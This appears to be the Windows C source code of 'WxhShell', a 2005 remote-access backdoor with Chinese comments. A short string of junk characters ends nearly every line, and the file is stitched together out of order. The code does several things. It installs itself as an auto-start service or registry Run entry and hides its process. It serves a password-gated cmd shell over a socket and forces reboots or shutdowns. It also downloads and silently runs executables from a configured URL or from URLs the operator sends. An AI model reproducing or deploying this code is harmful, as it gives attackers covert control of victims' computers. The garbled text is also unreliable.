    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mYJ%gdTpo  
    else { =kH7   
    closesocket(wsh); Ox7v*[x'  
    ExitThread(0); ~B;kFdcVXn  
    } 6*8"?S'  
    break; `[3Iz$K=  
    } @GDe{GG+  
  // 获取shell :akEl7/&  
  case 's': { MlaViw  
    CmdShell(wsh); F$QN>wPpM  
    closesocket(wsh); {R%v4#nk  
    ExitThread(0); bRT1~)  
    break; ^BIB'/Kh)  
  } Q]]}8l2  
  // 退出 Z 6KM%R  
  case 'x': { )w(-Xc?P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Vq <;.A  
    CloseIt(wsh); QH@?.Kb_qU  
    break; mz$)80ly  
    } )'3(=F$+l  
  // 离开 7s@%LS  
  case 'q': { &oI;^|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^kJ(bBY  
    closesocket(wsh); l/0"'o_0v#  
    WSACleanup(); |YCGWJaci  
    exit(1); kx&Xk0F_g  
    break; 95LZG1]Rb  
        } .|W0B+Z8  
  } UJ0fYTeuI  
  } 2yZ/'}Mw  
J&Ig%&/  
  // 提示信息 29{Ep   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VqGmZ|+8  
} [&12`!;j  
  } dd1CuOd6(1  
\GhL{Awv&a  
  return; SNqw 2f5  
} !SRElb A;i  
_~~:@fy  
// shell模块句柄 _2uRY  
int CmdShell(SOCKET sock) mp]}-bR)  
{ mHCp^g4Q  
STARTUPINFO si; ffyDi1Q  
ZeroMemory(&si,sizeof(si)); Mbbgsy3W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fLkZ'~e!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pFE&`T@ <  
PROCESS_INFORMATION ProcessInfo; 7> ~70  
char cmdline[]="cmd";  uP|Py.+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ' cM2]<  
  return 0; +9mE1$C  
}  B=)&43)\  
iA*^`NMaT  
// 自身启动模式 n-ZOe]3  
int StartFromService(void) i,#j@R@.C7  
{ NQB a+N  
typedef struct }E[u" @}  
{ [I6(;lq2  
  DWORD ExitStatus; 7b>FqW)%  
  DWORD PebBaseAddress; /mS|Byx  
  DWORD AffinityMask; )v\zaz  
  DWORD BasePriority; 2AYV9egZ  
  ULONG UniqueProcessId; 5Bwr\]%$P  
  ULONG InheritedFromUniqueProcessId; UqVcN$^b  
}   PROCESS_BASIC_INFORMATION; b!(ew`Y;  
t<8vgdD  
PROCNTQSIP NtQueryInformationProcess; bcx,K b  
s?-@8.@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #fB&Hv #s7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]0[Gc \h}  
"&$ [@c  
  HANDLE             hProcess; =f48[=  
  PROCESS_BASIC_INFORMATION pbi; #kGgz O  
7TDt2:;]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _:N+mEF  
  if(NULL == hInst ) return 0; _LVwjZX[  
 Tt;h?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O_v8R7 {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rE->z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cy_'QS$W   
[N@t/^gRC  
  if (!NtQueryInformationProcess) return 0; c> SFt tbU  
N@qP}/}8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &^q!,7.J  
  if(!hProcess) return 0; 1w` ]2  
""~b1kEt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2SjH7 '  
&*Sgyk o`  
  CloseHandle(hProcess); d+caGpaR  
kjj4%0"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9N+3S2sBx&  
if(hProcess==NULL) return 0; LqYP0%7  
 dmR>u  
HMODULE hMod; |\}&mBR  
char procName[255]; j ."L=  
unsigned long cbNeeded; :D|5E>o(  
TTDcVG_}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DPWt=IFU  
hSN{jl{L`  
  CloseHandle(hProcess); h0cdRi  
\X*Es.;|x  
if(strstr(procName,"services")) return 1; // 以服务启动 #oYPe:8|m  
9mmkFaBQ  
  return 0; // 注册表启动 *dAQ{E(rO  
} B0M(&)!%  
~|:U"w\[=  
// 主模块 '9ki~jtf=  
int StartWxhshell(LPSTR lpCmdLine) gR\z#Sg  
{ z [|:HS&  
  SOCKET wsl; mhNX05D  
BOOL val=TRUE; ,J$XVvwxF  
  int port=0; i-jrF6&  
  struct sockaddr_in door; sQ}E4Iq1#S  
w=QlQ\  
  if(wscfg.ws_autoins) Install(); "y9]>9:$-  
/Kd9UQU  
port=atoi(lpCmdLine); ZLGglT'EW>  
mEZHrr J  
if(port<=0) port=wscfg.ws_port; j&N {j_ M  
$eq*@5B  
  WSADATA data; 3a\De(;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zk;'`@7  
f=EWr8mno  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /prR;'ks  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A"}Ib'  
  door.sin_family = AF_INET; FKH_o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $~,J8?)(z  
  door.sin_port = htons(port); `9Rj;^NJ  
*UZd !a)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Tl]1^  
closesocket(wsl); 1xD?cA\vu  
return 1; R*`=Bk0+  
} OQJ#>*?  
( }RJW:  
  if(listen(wsl,2) == INVALID_SOCKET) { :\]qB&  
closesocket(wsl); 6pdek3pOCt  
return 1;  u*m|o8  
} [9;[g~;E%m  
  Wxhshell(wsl); 0JXXJ:dB  
  WSACleanup(); <dKHZ4  
3De(:c)@  
return 0; bs_< UE  
O9P4r*prA  
} v[\Z^pccgj  
F|&%Z(@a  
// 以NT服务方式启动 ^Z+p_;J$p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B.4Or]  
{ " V4@nv  
DWORD   status = 0; ~hb;kc3  
  DWORD   specificError = 0xfffffff; hiEosI C  
T`2a)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rjn%<R2nW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P#9Pq,I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J6mUU3F9f  
  serviceStatus.dwWin32ExitCode     = 0; 20w4 '@sq  
  serviceStatus.dwServiceSpecificExitCode = 0; zXW;W$7V4  
  serviceStatus.dwCheckPoint       = 0; IqFmJs|C  
  serviceStatus.dwWaitHint       = 0; AHzm9U @  
f{-,"6Y1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .\+c{  
  if (hServiceStatusHandle==0) return; XZ"oOE0=  
 N8)]d  
status = GetLastError(); 7|k2~\@q  
  if (status!=NO_ERROR) zbJ}@V  
{ w19OOD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Dwe,N"{2  
    serviceStatus.dwCheckPoint       = 0; ~m4 LL[  
    serviceStatus.dwWaitHint       = 0; }O\g<ke:u  
    serviceStatus.dwWin32ExitCode     = status; qOAhBZ~  
    serviceStatus.dwServiceSpecificExitCode = specificError; y]g5S-G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t!59upbN}3  
    return; 44pVZ5c  
  } D7Y?$=0ycb  
p\}!uS4 (  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;?Q0mXr  
  serviceStatus.dwCheckPoint       = 0; \[ W`hhJ  
  serviceStatus.dwWaitHint       = 0; CdKs+x&tZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :BF WX  
} :4)lmIu  
I7C+XUQkQ  
// 处理NT服务事件,比如:启动、停止 cqp^**s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pk5 %lu  
{ orFB*{/Z  
switch(fdwControl) ;\]DZV4?)r  
{ <bJ~Ol  
case SERVICE_CONTROL_STOP: +&* >FeJY  
  serviceStatus.dwWin32ExitCode = 0; 2<*Yq 8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  nyZ?m  
  serviceStatus.dwCheckPoint   = 0; )>]SJQ!k  
  serviceStatus.dwWaitHint     = 0; N@"e^i  
  { GYonb) F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h1#l12k^'  
  } Is97>aid  
  return; V/ZWyYxjLi  
case SERVICE_CONTROL_PAUSE: DvTbt?i[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; akQb%Wq  
  break; |[!0ry*N%  
case SERVICE_CONTROL_CONTINUE: w_YY~Af  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `Mo%)I<`=  
  break; 4-\4G"4  
case SERVICE_CONTROL_INTERROGATE: z]sQ3"cmX  
  break; x!onan  
}; U}{\qs-zt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <4;f?e u  
} (; Zl  
obw:@i#  
// 标准应用程序主函数 vf`]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }J=zO8OL  
{ l> >BeZ  
}80n5 X<9  
// 获取操作系统版本 1'5 !")r  
OsIsNt=GetOsVer(); =IIE]<z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E} ]SGU"  
p-/}@r3Z+  
  // 从命令行安装 U4Pk^[,p1G  
  if(strpbrk(lpCmdLine,"iI")) Install(); <pUc( tPoz  
cH7D@p}  
  // 下载执行文件 '`p0T%w  
if(wscfg.ws_downexe) { b$FXRR\G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y)Lyo'`  
  WinExec(wscfg.ws_filenam,SW_HIDE); /zV0kW>N  
} %;G!gJeE  
z yI4E\  
if(!OsIsNt) { sQT,@'"  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xg97[I8/  
HideProc(); CY9`HQ1  
StartWxhshell(lpCmdLine); <lLk (fC  
} g? \pH:|79  
else yDw^xGws  
  if(StartFromService()) # /pZ#ny  
  // 以服务方式启动 H %PIE1_  
  StartServiceCtrlDispatcher(DispatchTable); s[@@INU  
else 7h/{F({r=  
  // 普通方式启动 fKT(.VN q5  
  StartWxhshell(lpCmdLine); Va'K~$d_  
kC[nY  
return 0; RrqZ5Gonj  
} "i*Gi \U  
~9ILN~91  
8 _[f#s`)  
BF6H_g  
=========================================== ; bDFrG  
L9U<E $%#  
_'oy C(:}  
cjO,#W0&f  
-/&6}lD  
PZl(S}VY  
" >Y< y]vM:  
 Q-&]Vg  
#include <stdio.h> Qi7^z;  
#include <string.h> }Mo9r4}  
#include <windows.h> D2Go,1  
#include <winsock2.h> \9k{"4jX\  
#include <winsvc.h> 4/ U]7Y  
#include <urlmon.h> Gb \ 7W  
"WYcw\@U  
#pragma comment (lib, "Ws2_32.lib") /ADxHw`k  
#pragma comment (lib, "urlmon.lib") x{*!"a>  
o-Idr{  
#define MAX_USER   100 // 最大客户端连接数 k*c:%vC!  
#define BUF_SOCK   200 // sock buffer 2i(|?XJ^  
#define KEY_BUFF   255 // 输入 buffer Pjb9FCA'  
|_2ANWHz  
#define REBOOT     0   // 重启 <CmsnX  
#define SHUTDOWN   1   // 关机 |H_)u  
6l vx  
#define DEF_PORT   5000 // 监听端口 c)6Y.[).  
iK %Rq  
#define REG_LEN     16   // 注册表键长度 Jp-ae0 Ewa  
#define SVC_LEN     80   // NT服务名长度 sqZHk+<%  
BtHvfoT  
// 从dll定义API M*S5&xpX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V!U[N.&$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NxX1_d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B?%D   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'qd")  
VDmd+bvJV  
// wxhshell配置信息 VD3[ko  
struct WSCFG { N~ozyIP,  
  int ws_port;         // 监听端口 #*]= %-A  
  char ws_passstr[REG_LEN]; // 口令 (P>vI'  
  int ws_autoins;       // 安装标记, 1=yes 0=no P*T)/A%4  
  char ws_regname[REG_LEN]; // 注册表键名 t@HE.h  
  char ws_svcname[REG_LEN]; // 服务名 x+TNF>%' D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J;kbY9e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x/S%NySG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uU\iji\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5UM[Iz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" si;]C~X*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zXCIn  
,RHHNTB("  
}; :ZIcWIV-  
} R/  
// default Wxhshell configuration '~cEdGD9H  
struct WSCFG wscfg={DEF_PORT, 7@"X~C  
    "xuhuanlingzhe", F3'X  
    1, I(CI')Q  
    "Wxhshell", G9[-|[j^N  
    "Wxhshell", ]xG4T>S  
            "WxhShell Service",  k WtUj  
    "Wrsky Windows CmdShell Service", ~z}au"k  
    "Please Input Your Password: ", ;~bn@T-  
  1, I{PN6bn{>  
  "http://www.wrsky.com/wxhshell.exe", hF1/=;>  
  "Wxhshell.exe" ZkJM?Fzq  
    }; ;R!H\  
$OD5t5eTsM  
// 消息定义模块 7e<Q{aB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~-GDheA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~e+w@ lK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @^%_ir(  
char *msg_ws_ext="\n\rExit."; k#(cZ  
char *msg_ws_end="\n\rQuit."; M::iU_  
char *msg_ws_boot="\n\rReboot..."; 9F](%/  
char *msg_ws_poff="\n\rShutdown..."; bZXNo  
char *msg_ws_down="\n\rSave to "; j#f&!&G5<&  
,]mwk~HeF  
char *msg_ws_err="\n\rErr!"; %}!}2s.A  
char *msg_ws_ok="\n\rOK!"; ? ^CGJ1  
eLny-.i ,7  
char ExeFile[MAX_PATH]; \xxVDr.  
int nUser = 0; jTr 4A-"  
HANDLE handles[MAX_USER]; !f-o,RJ  
int OsIsNt; 9VE;I:NO3  
cvA\C_  
SERVICE_STATUS       serviceStatus; )X;cS} yp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &'b}N  
@t8kN6.  
// 函数声明 Z D%_PgiT  
int Install(void); %UQB?dkf$  
int Uninstall(void); c$kb0VR  
int DownloadFile(char *sURL, SOCKET wsh); I JY5wP1"  
int Boot(int flag); U]0)$OH5e  
void HideProc(void); %i>e  
int GetOsVer(void); vCSB8R  
int Wxhshell(SOCKET wsl); pHB35=p28  
void TalkWithClient(void *cs);  MK"  
int CmdShell(SOCKET sock); DS}rFU  
int StartFromService(void); |u r~s$8y-  
int StartWxhshell(LPSTR lpCmdLine); BQ&q<6Tk  
(iOCzZ6S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uyt-q|83=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ai jGz<  
cC^C7AAq^  
// 数据结构和表定义 i:M*L< +  
SERVICE_TABLE_ENTRY DispatchTable[] = Ygi1"X}  
{ -5v.1y=!L  
{wscfg.ws_svcname, NTServiceMain},  7EP|X.  
{NULL, NULL} *X l<aNNx  
}; h+~df(S.  
DsJn#>?Kh  
// 自我安装 1DLG]-j}  
int Install(void) Z3So|M{v  
{ `m 3QT3B  
  char svExeFile[MAX_PATH]; )YMlF zYr  
  HKEY key; ~]W[ {3 ;  
  strcpy(svExeFile,ExeFile); u] U)d$|  
#C1A5JE&  
// 如果是win9x系统,修改注册表设为自启动 2\63&C^  
if(!OsIsNt) { 04guud }  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0 \Yx.\X,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r7"Au"  
  RegCloseKey(key); A!W" *WT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'uf2 nUo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9;]wF8h  
  RegCloseKey(key); Wda\a.bXT  
  return 0; 5`"*y iv  
    } dxn0HXU  
  } 1Y"35)CR)  
} y,v0-o~q  
else { A?Nn>xF9X  
9R@abm,I  
// 如果是NT以上系统,安装为系统服务 i6F:C &.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #5-A&  
if (schSCManager!=0) N$%61GiulT  
{ 6c2ThtL  
  SC_HANDLE schService = CreateService mC:X4l]5  
  ( eyf4M;goz}  
  schSCManager, L8:]`M Q0  
  wscfg.ws_svcname, hg&w=l  
  wscfg.ws_svcdisp, b ~/Wnp5  
  SERVICE_ALL_ACCESS, AJ\VY;m7F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *f`s%&Y]s  
  SERVICE_AUTO_START, i0'Xy>l  
  SERVICE_ERROR_NORMAL, U+.PuC[3  
  svExeFile, .>kccLr:z  
  NULL, t}]9VD9  
  NULL, c>S"`r  
  NULL, >G<\1R  
  NULL, K5!";V  
  NULL 3s?v(1 {)  
  ); _b0S  
  if (schService!=0) m|[\F#+C  
  { nY{i>Y  
  CloseServiceHandle(schService); NokXE  
  CloseServiceHandle(schSCManager); U~{Sa+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gb=80s0  
  strcat(svExeFile,wscfg.ws_svcname); M)"]$TM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !K3i-zY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gH{:`E k7  
  RegCloseKey(key);  n5bXQ  
  return 0; #)_J)/h  
    } _8[UtZYG  
  } M8^.19q;  
  CloseServiceHandle(schSCManager); b&=]S(  
} 7.Ml9{M/i  
} <`c25ih.4  
v9E+(4I9_  
return 1; &<gUFcw7Ui  
} 7szls71/=  
j`2B}@2  
// 自我卸载 MV0<^/p|  
int Uninstall(void) 4ef*9|^x#  
{ a9#W9eP  
  HKEY key; w::r?.9  
FNz84qVIx'  
if(!OsIsNt) { 8?e   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ljup#:n  
  RegDeleteValue(key,wscfg.ws_regname); *nYB o\@g  
  RegCloseKey(key); K4j@j}zK9I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +jq 2pFQ  
  RegDeleteValue(key,wscfg.ws_regname); W *YW6  
  RegCloseKey(key); 2;~KL-h0TK  
  return 0; \ |4 Ca't  
  } '1CD- Bu  
} L"[IOV9S  
} oy2(Ag\  
else { T(Y}V[0+  
tgO+*q5B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L3B8IDq  
if (schSCManager!=0) }  c{Fa&  
{ G$cxDGo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3hc#FmLr2b  
  if (schService!=0) ]@*tfz\YaH  
  { U+4HG  
  if(DeleteService(schService)!=0) { jEZ "  
  CloseServiceHandle(schService); HjV\lcK:v  
  CloseServiceHandle(schSCManager); jo_o` j  
  return 0; yrO?Np  
  } %v]7BV^%6  
  CloseServiceHandle(schService); dO+kPC  
  } "VV914*z  
  CloseServiceHandle(schSCManager); v-ThdE$G#  
} N%O[  
} ;)gLjF/F7  
'yE*|Sx  
return 1; {U(Bfe^a,  
} {b(rm,%  
@|^jq  
// 从指定url下载文件 gC0;2  
int DownloadFile(char *sURL, SOCKET wsh) +q7qK*  
{ !2(.$}E  
  HRESULT hr; _]P a>8X*  
char seps[]= "/"; pXssh  
char *token; AQ-mE9>P  
char *file; :#Ty^-"]1  
char myURL[MAX_PATH]; -=}b;Kf -  
char myFILE[MAX_PATH]; 0X.TF  
C+`xx('N9  
strcpy(myURL,sURL); ?k"0w)8  
  token=strtok(myURL,seps); 9-b 8`|s  
  while(token!=NULL) Im6U_JsNZh  
  { fO #?k<p  
    file=token; Hv3W{|  
  token=strtok(NULL,seps); ):S!Nl  
  } rxs8De  
zFOL(s.h|0  
GetCurrentDirectory(MAX_PATH,myFILE); L/)B}8m\  
strcat(myFILE, "\\"); +miR3~w.  
strcat(myFILE, file); wajZqC2yg  
  send(wsh,myFILE,strlen(myFILE),0); w3d34*0$  
send(wsh,"...",3,0); w m19T7*L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0:. 6rp  
  if(hr==S_OK) $}db /hY*  
return 0; zLL)VFCJW  
else |<1M&\oaQ'  
return 1; >zFD $  
4Ppop  
} Uh}+"h5  
l**3%cTb  
// 系统电源模块 }Fm\+JOS   
int Boot(int flag) YIO.yN"0  
{ GoazH?%  
  HANDLE hToken; %{U"EZ]D!  
  TOKEN_PRIVILEGES tkp; (V!0'9c  
hox< vr4  
  if(OsIsNt) { S_$nCyaH2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7/ t:YBR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D&-vq,c  
    tkp.PrivilegeCount = 1; *y?[ <2"$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F*,5\s<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 94y9W#  
if(flag==REBOOT) { >C*4_J7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <cj}:H *  
  return 0; "Vx6 #u@}  
} m2Q$+p@  
else { V,vc_d?,_o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l/ QhD?)9  
  return 0; =-5[Hn%  
} bM^7g  
  } *x!LKIpv  
  else { 9*DEv0}a^  
if(flag==REBOOT) { 3Soy3Xp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uRpBeH]Z"  
  return 0; f7 wm w2  
} ~2(]ZfO?>H  
else { { m'AY)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  E>"8 /  
  return 0; },s_nJR:8  
} /=@e &e  
} \C7q4p?8  
?M~  k$  
return 1; ;?`@"YG)  
} gvlFumg2  
#QS?s8IrW  
// win9x进程隐藏模块 ,_bp)-OG  
void HideProc(void) 7f* RM  
{ lC4PKm no  
kP?_kMOx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TL'0T,Jo  
  if ( hKernel != NULL ) ]'g:B p  
  { ]Zk}ZG>6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -K^41W71  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wPgDy  
    FreeLibrary(hKernel); -;/ Y  
  } Why"G1`  
\447]<u  
return; sG1BNb_  
} x,uBJ  
_#vGs:-x&  
// 获取操作系统版本 `2e_ L  
int GetOsVer(void) JqSr[q  
{ Ld~q1*7J  
  OSVERSIONINFO winfo; K_&_z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S<pk c8  
  GetVersionEx(&winfo); I=odMw7Hj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) In+^V([u+_  
  return 1; WUY,. 8  
  else R"{l[9j4>  
  return 0; Y/D -V  
} WGMb8 /{$P  
Vd<K4Tk  
// 客户端句柄模块 AK;^9b-}q:  
int Wxhshell(SOCKET wsl) z<h|#@\  
{ AIv<f9*.:  
  SOCKET wsh; {G%3*=?,j  
  struct sockaddr_in client; [zx|eG<&-  
  DWORD myID; &=NJ  
I*( 1.%:m  
  while(nUser<MAX_USER) Khap9a_q-  
{ 3Y(9\}E@`  
  int nSize=sizeof(client); 5{>>,pP&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =]d^3bqN  
  if(wsh==INVALID_SOCKET) return 1; uQ^hV%|"  
)mG0g@qOK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8$m1eQ`{  
if(handles[nUser]==0) o?y"]RCM  
  closesocket(wsh); `V@z&n0P6  
else m_$JWv\|\  
  nUser++; C]Q>*=r  
  } bs P6\'\4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,(;5%+#n  
J?,?fqb  
  return 0; E|{m"RUOy  
} pl?kS8#U?  
kF?S 2(vH  
// 关闭 socket ,ex]$fQ'  
void CloseIt(SOCKET wsh) &rP~`4Mkp  
{ Pa[?L:E  
closesocket(wsh); | +fwvi&a  
nUser--; 2m_H*1 HJ  
ExitThread(0); "f<#.}8  
} 0Nt%YP  
>] -<uT_  
// 客户端请求句柄 |eF.ZC)QWh  
void TalkWithClient(void *cs) _0m}z%rI  
{ CC>($k"  
*0\k Z,#BJ  
  SOCKET wsh=(SOCKET)cs; yi|:}K$  
  char pwd[SVC_LEN]; s.KOBNCFa  
  char cmd[KEY_BUFF]; 0JyqCb l  
char chr[1]; I:HV6_/^-G  
int i,j; r_q~'r35_  
]`K[W&  
  while (nUser < MAX_USER) { O/$ v69:  
GRy4cb2  
if(wscfg.ws_passstr) { aoK4Du{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xj(>.E{~H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7> )l{7  
  //ZeroMemory(pwd,KEY_BUFF); >pnz_MQ   
      i=0; PB@-U.Z  
  while(i<SVC_LEN) { t:disL& !E  
GV=V^Fl .  
  // 设置超时 f)WPOTEY  
  fd_set FdRead; g{]ej  
  struct timeval TimeOut; pIL`WE1'  
  FD_ZERO(&FdRead); bu;vpNa  
  FD_SET(wsh,&FdRead); vRxL&8`&  
  TimeOut.tv_sec=8; Sw[=S '(l  
  TimeOut.tv_usec=0; -^0KE/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ID&zY;f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N!Rt;Xm2@  
(Y&R0jt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7@3M]5:3g  
  pwd=chr[0]; aQC 7V!v  
  if(chr[0]==0xd || chr[0]==0xa) { X9SJ~n  
  pwd=0; N:5b1TdI,  
  break; H_v/}DEG  
  } \A~4\um  
  i++; XPrY`,kN  
    } YK7gd|LR]  
m79m{!q$-  
  // 如果是非法用户,关闭 socket j^:b-:F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {3jm%ex  
} Idt@Hk5<&  
@b4b{d5[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RiwEuY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M,I68  
H;4oZ[g  
while(1) { 1V#B]x:  
s#M? tyhj  
  ZeroMemory(cmd,KEY_BUFF); }x>}:"P;W  
&?&'"c{;m  
      // 自动支持客户端 telnet标准   XT\Td}>  
  j=0; d91I  
  while(j<KEY_BUFF) { x A@|I#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i+kFL$N  
  cmd[j]=chr[0]; O(b"F? w  
  if(chr[0]==0xa || chr[0]==0xd) { 3( >(lk  
  cmd[j]=0; })h'""i&xn  
  break; R V_MWv  
  } ;F" kD  
  j++; ayB=|*Q"  
    } /r #b  
rcD.P?"  
  // 下载文件 +-xSuR,  
  if(strstr(cmd,"http://")) { ~GsH8yA_P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A?%XO %  
  if(DownloadFile(cmd,wsh)) UtHmM,*I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Y1AeJ$L  
  else 7=9A_4G!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xF\}.OfWG  
  } 0`aHwt/F  
  else { 2 `q^Q  
dK-  ^  
    switch(cmd[0]) { #L).BM  
  v ](G?L9b  
